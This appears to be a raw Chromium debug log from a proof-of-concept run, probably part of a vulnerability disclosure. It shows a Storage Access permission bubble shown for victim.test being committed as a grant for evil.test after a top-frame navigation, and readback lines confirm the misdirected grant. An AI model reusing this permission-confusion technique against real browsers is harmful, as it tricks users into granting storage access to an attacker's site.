[16131:16131:0405/084533.727714:INFO:CONSOLE:24] "[POC] attacker navigating top frame to evil.test", source: http://victim.test:23987/victim.html (24) [16131:16131:0405/084533.731317:ERROR:chrome/browser/ui/views/location_bar/content_setting_image_view.cc:224] [POC] auto-opening Storage Access bubble for http://victim.test:23987/victim.html [16131:16131:0405/084533.731740:ERROR:chrome/browser/ui/content_settings/content_setting_bubble_model.cc:834] [POC] StorageAccess bubble constructed; user-visible embedding origin (subtitle) = http://victim.test:23987/victim.html [16131:16131:0405/084533.731825:ERROR:chrome/browser/ui/content_settings/content_setting_bubble_model.cc:838] [POC] auto-toggling row to ALLOW for primary=http://idp.test [16131:16131:0405/084533.985418:ERROR:chrome/browser/ui/views/content_setting_bubble_contents.cc:616] [POC] PrimaryPageChanged fired while bubble open; web_contents()->GetURL() now = http://evil.test:23987/evil.html -- calling Widget::Close() (async). [16131:16131:0405/084534.034717:ERROR:chrome/browser/ui/views/content_setting_bubble_contents.cc:327] [POC] WindowClosing -> CommitChanges() [16131:16131:0405/084534.034845:ERROR:chrome/browser/ui/content_settings/content_setting_bubble_model.cc:859] [POC] CommitChanges(): writing STORAGE_ACCESS grant primary=http://idp.test/ secondary=http://evil.test:23987/evil.html setting=1 (user saw subtitle for victim.test) [16131:16131:0405/084534.035589:ERROR:chrome/browser/ui/content_settings/content_setting_bubble_model.cc:878] [POC] readback: GetContentSetting(idp.test, victim.test, STORAGE_ACCESS) = 3 [16131:16131:0405/084534.035689:ERROR:chrome/browser/ui/content_settings/content_setting_bubble_model.cc:883] [POC] readback: GetContentSetting(idp.test, evil.test, STORAGE_ACCESS) = 1